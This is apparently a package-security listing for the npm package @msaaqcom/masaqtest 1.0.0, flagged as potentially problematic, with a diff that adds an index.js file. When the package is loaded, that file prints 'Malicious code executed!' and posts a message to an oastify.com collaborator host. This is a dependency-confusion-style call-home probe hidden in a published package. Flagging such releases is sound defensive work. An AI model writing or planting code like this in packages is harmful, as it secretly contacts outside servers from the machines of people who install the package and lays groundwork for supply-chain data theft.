@msaaqcom/masaqtest 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of @msaaqcom/masaqtest might be problematic. Click here for more details.
- package/index.js +31 -0
- package/package.json +11 -0
package/index.js
ADDED
@@ -0,0 +1,31 @@
|
|
1
|
+
// index.js
|
2
|
+
console.log("Malicious code executed!");
|
3
|
+
|
4
|
+
// Optionally, send a network request to your server for verification
|
5
|
+
const http = require('https');
|
6
|
+
|
7
|
+
const data = JSON.stringify({ message: 'Malicious code executed!' });
|
8
|
+
|
9
|
+
const options = {
|
10
|
+
hostname: 'gtd3h3pd4j6755pp0j6atvb7byhp5otd.oastify.com',
|
11
|
+
port: 443,
|
12
|
+
path: '/log',
|
13
|
+
method: 'POST',
|
14
|
+
headers: {
|
15
|
+
'Content-Type': 'application/json',
|
16
|
+
'Content-Length': data.length,
|
17
|
+
},
|
18
|
+
};
|
19
|
+
|
20
|
+
const req = http.request(options, (res) => {
|
21
|
+
res.on('data', (d) => {
|
22
|
+
process.stdout.write(d);
|
23
|
+
});
|
24
|
+
});
|
25
|
+
|
26
|
+
req.on('error', (e) => {
|
27
|
+
console.error(e);
|
28
|
+
});
|
29
|
+
|
30
|
+
req.write(data);
|
31
|
+
req.end();
|